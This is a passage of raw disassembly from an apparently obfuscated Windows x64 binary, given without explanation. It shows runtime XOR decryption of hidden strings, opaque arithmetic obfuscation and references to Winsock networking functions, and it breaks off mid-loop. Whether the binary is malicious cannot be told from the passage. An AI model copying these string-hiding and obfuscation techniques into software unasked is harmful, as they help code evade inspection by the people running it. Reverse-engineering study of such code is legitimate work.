sub r8b, 0x16
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x66
add r11b, r8b
mov byte [rbp + rbx + 0x434], r11b
inc r10
dec rbx
inc rbx
jmp 0x140169792
movabs rax, 0xae848a5d7776319e
add rax, rbx
and dil, al
add dil, dil
sub al, dil
lea esi, [r11 + rax]
sub sil, 0x52
lea edx, [rbx - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x434], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x434]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140169792
movabs rax, 0xcf1c5304e146ea92
add rax, rbx
and dil, al
mov ecx, 1
sub cl, dil
lea esi, [rcx + rcx]
add sil, al
add sil, r11b
movzx eax, byte [rbp + rbx + 0x434]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140169792
sub r8b, 0x62
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x52
jmp 0x140169790
sub r8b, 0x6e
movzx eax, r11b
and al, r8b
mov ecx, 1
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
jmp 0x140169780
lea rdx, [rbp + 0x161e23c]
jmp 0x14016a2b0
lea rdx, [rbp + 0x7985c2]
jmp 0x14016a2b0
lea rdx, [rbp + 0x434]
lea rcx, [rbp + 0x6d8]
call fcn.14013a940
nop
lea r8, [rbp + 0x698]
lea rdx, [rbp + 0x6d8]
mov rcx, r15
call fcn.140153a90
nop
lea rcx, [rbp + 0x6d8]
call fcn.1401362c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x678]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x678]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x678]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x38]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x678]
call fcn.1401a35a0
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x678]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x678]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x678]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x10]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x678]
call fcn.1401a35a0
lea rdx, [rbp]
lea rcx, [rbp + 0x698]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x698]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x698]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x18]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x698]
call fcn.1401a35a0
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x698]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x698]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x698]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x38]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x698]
call fcn.1401a35a0
lea rcx, [rbp + 0x260]
call fcn.1401a21a0
nop
lea rcx, [rbp + 0x260]
call fcn.1401a2120
lea rcx, [rbp + 0x270]
call fcn.1401a21a0
mov rdi, rax
mov ebx, dword [rbp + 0x688]
lea rcx, [rbp + 0x678]
call fcn.140135dc0
mov r15, qword [rsp + 0x60]
mov r9, r15
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
movzx ecx, byte [rbp + 0xaa4]
test cl, cl
je 0x14016a4eb
xor byte [rbp + 0xaa0], 0x35
xor byte [rbp + 0xaa1], 0x36
xor byte [rbp + 0xaa2], 0x37
xor byte [rbp + 0xaa3], 0x38
xor cl, 0x39
mov byte [rbp + 0xaa4], cl
mov r8, r15
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x280]
call fcn.1401a2160
nop
mov r9, r15
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x280]
call fcn.140135de0
nop
lea rcx, [rbp + 0x270]
call fcn.140135de0
lea rcx, [rbp + 0x290]
call fcn.1401a21a0
mov rdi, rax
mov ebx, dword [rbp + 0x6a8]
lea rcx, [rbp + 0x698]
call fcn.140135dc0
mov r9, r15
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
xor edi, edi
cmp byte [rbp + 0x1ec], dil
je 0x14016a6d2
mov r8d, edi
cmp dword [0x14047f088], 2
jl 0x14016a687
movdqa xmm4, xmmword [0x14044a8f0]
movdqa xmm2, xmmword [0x14044a760]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14044a890]
movd xmm0, dword [rbp + 0x1e0]
xorps xmm2, xmm0
movd dword [rbp + 0x1e0], xmm2
movdqa xmm3, xmmword [0x14044a770]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14044a890]
movd xmm0, dword [rbp + 0x1e4]
xorps xmm2, xmm0
movd dword [rbp + 0x1e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14016a6a0
mov r8, r15
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2a0]
call fcn.1401a2160
nop
mov r9, r15
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x2a0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x290]
call fcn.140135de0
mov r8, r15
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x230]
call fcn.1401a1ec0
nop
lea rcx, [rbp + 0x260]
call fcn.140135de0
nop
lea rcx, [rbp + 0x698]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x678]
call fcn.1401362c0
inc r13d
mov rax, qword [rbp + 0x8f8]
sub rax, qword [rbp + 0x8f0]
sar rax, 3
movsxd rbx, r13d
cmp rbx, rax
jb 0x140168b00
mov esi, dword [0x14047f088]
movzx eax, byte [rbp + 0xaac]
test al, al
je 0x14016a7ab
xor byte [rbp + 0xaa8], 0x35
xor byte [rbp + 0xaa9], 0x36
xor byte [rbp + 0xaaa], 0x37
xor byte [rbp + 0xaab], 0x38
xor al, 0x39
mov byte [rbp + 0xaac], al
mov r8, r15
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp + 0x2b0]
call fcn.1401a2160
nop
mov r9, r15
lea r8, [rbp + 0x230]
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x230]
call fcn.140135de0
mov r13, 0xffffffffffffffff
lea rcx, [rbp + 0x8e8]
call fcn.140153f60
nop
lea rcx, [rbp + 0x8e8]
call fcn.140153f60
nop
lea rcx, [rbp + 0x658]
call fcn.1401362c0
movsd xmm0, qword [str.XYUWfTNQ__M_]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140449098]
mov dword [rbp + 0x1d8], eax
mov eax, dword [str.FSEQXV_]
mov dword [rsp + 0x58], eax
movzx eax, word [0x140448254]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x140448256]
mov byte [rsp + 0x5e], al
mov eax, dword [str.XYUWJ:]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1404485dc]
mov word [rsp + 0x54], ax
mov dword [rbp + 0x6f8], 0xc6cec4f3
mov dword [rbp + 0x6fc], 0x8d86f1c7
mov dword [rbp + 0x700], 0xc4f8cf88
mov dword [rbp + 0x704], 0xc6d98dc1
mov dword [rbp + 0x708], 0xec8082fe
mov dword [rbp + 0x70c], 0xf2c5f496
mov dword [rbp + 0x710], 0xc9fbf69a
mov dword [rbp + 0x714], 0x5df8
movabs r14, 0x542c0929833c7710
movabs r12, 0xf58c52759d202f90
movzx edx, byte [rbp + 0xa98]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor edi, edi
mov ebx, edi
cmp rbx, 0x20
jae 0x14016b451
movzx r11d, byte [rbp + rbx + 0x6f8]
mov edi, r11d
nop word [rax + rax]
cmp r9, rbx
ja 0x14016b448
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14016a93b
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x70
jmp 0x14016a967
je 0x14016b3d4
inc rax
cmp r9, rax
je 0x14016b3a9
lea rax, [r8 + 4]
cmp r9, rax
je 0x14016b387
lea rax, [r8 + 3]
cmp r9, rax
je 0x14016b365
movzx r10d, bl
nop dword [rax + rax]
cmp r8, rbx
ja 0x14016b43f
lea rax, [r8 + 0x10]
cmp r9, rax
jae 0x14016a999
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x14016a9c0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14016b323
lea rax, [r8 + 3]
cmp r9, rax
je 0x14016b2fd
lea rax, [r8 + 7]
cmp r9, rax
je 0x14016b27f
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14016af3d
nop dword [rax]
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14016af23
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14016af05
lea rax, [r8 + 6]
cmp r9, rax
je 0x14016aedf
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14016aec5
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14016ae93
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14016ae68
lea rax, [r8 + 1]
cmp r9, rax
je 0x14016ae4e
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14016ae32
lea rax, [r8 + 0x1000]
cmp r9, rax
je 0x14016ae05
lea rax, [r8 + 9]
cmp r9, rax
je 0x14016a9d0
lea r9, [r8 + 0x20]
lea r8, [r9 + 5]
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14016b423
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14016b407
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14016abbe
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14016aba1
lea rax, [r8 + 3]
cmp r9, rax
jb 0x14016ab84
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14016adbf
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x14016ad76
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14016ad3b
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14016ad15
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14016a9d0
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14016ace8
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14016accc
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14016acb2
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x14016ac87
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14016ac60
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14016ac46
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14016ac20
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14016abf7
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14016abda
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14016a9d0
lea r9, [r8 + 1]
lea r8, [r9 + 4]
jmp 0x14016a9d0
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14016a9c0
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14016a970
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x14016a910
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
jmp 0x14016b338
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14016a8f4
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, 0x20
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016a8f4
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
jmp 0x14016b22f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x14016b294
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
jmp 0x14016b2c1
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
mov byte [rbp + rbx + 0x6f8], dl
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
cmp r8, 0x200
jb 0x14016ad2c
lea ecx, [r10 + 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x40]
jmp 0x14016b338
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 5
jae 0x14016b217
lea rax, [r8 + 0x5a]
cmp r9, rax
jbe 0x14016b12f
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14016ad50
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x14016b26c
lea rax, [r8 + 0x28]
cmp r9, rax
jbe 0x14016b046
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
jmp 0x14016ad85
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x14016b2c1
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x14016b294
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
add cl, cl
add dl, cl
jmp 0x14016b22f
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016a8f4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
inc r8
dec rbx
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x14016b338
lea rcx, [r8 + 3]
cmp r9, rcx
jae 0x14016af60
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x14016add7
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14016af96
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
cmp r9, rcx
jne 0x14016afb5
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x14016b294
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14016aff0
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14016b01f
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 8]
cmp r9, rax
jne 0x14016add7
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
jmp 0x14016b338
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14016b06c
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14016b338
inc rax
cmp r9, rax
jne 0x14016b096
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
dec rbx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14016b0cd
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14016b105
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14016ad8e
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14016b294
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14016b169
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, 0x20
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14016b19d
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14016b1bd
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x14016b232
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14016b1e1
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
dec rbx
inc rbx
jmp 0x14016a8f4
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14016ad50
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x80
add dl, r11b
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x6f8], cl
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x60]
jmp 0x14016b294
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x6f8], al
inc r8
add rax, r8
sub rbx, rax
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x40
add cl, r11b
mov byte [rbp + rbx + 0x6f8], cl
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, 0x18
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14016a8f4
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, r11b
mov byte [rbp + rbx + 0x6f8], r10b
inc r8
dec rbx
inc rbx
jmp 0x14016a8f4
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
inc r8
dec rbx
inc rbx
jmp 0x14016a8f4
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x14016a8f4
lea rcx, [rbx + r12]
and dil, cl
mov eax, 8
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a8f4
movabs rax, 0xfc841b7c89b56530
add rax, rbx
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x50
movzx eax, byte [rbp + rbx + 0x6f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14016a8f4
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x14016a8f0
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x14016a8e0
lea rdx, [rbp + 0x16005b8]
jmp 0x14016b458
lea rdx, [rbp + 0xdc7cc8]
jmp 0x14016b458
lea rdx, [rbp + 0x6f8]
lea rcx, [rbp + 0x718]
call fcn.14013a940
nop
lea rdx, [rbp + 0x718]
lea rcx, [rbp + 0x920]
call fcn.140153c20
nop
cmp byte [rbp + 0x920], 0
je 0x14016dcef
lea rcx, [rbp + 0x2c0]
call fcn.1401a21a0
nop
lea rcx, [rbp + 0x2c0]
call fcn.1401a1f70
lea rcx, [rbp + 0x2d0]
call fcn.1401a21a0
nop
mov rdx, qword [rbp + 0x930]
sub rdx, qword [rbp + 0x928]
sar rdx, 3
mov rcx, rax
call fcn.1401a1e80
mov rbx, rax
xor edi, edi
cmp byte [rbp + 0x1db], dil
je 0x14016b632
mov r8d, edi
cmp esi, 2
jl 0x14016b5ec
movdqa xmm4, xmmword [0x14044a8f0]
movdqa xmm2, xmmword [0x14044a760]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
mov eax, dword [0x14044a890]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1d0]
xorps xmm2, xmm1
movd dword [rbp + 0x1d0], xmm2
movdqa xmm3, xmmword [0x14044a770]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1d4]
xorps xmm2, xmm1
movd dword [rbp + 0x1d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
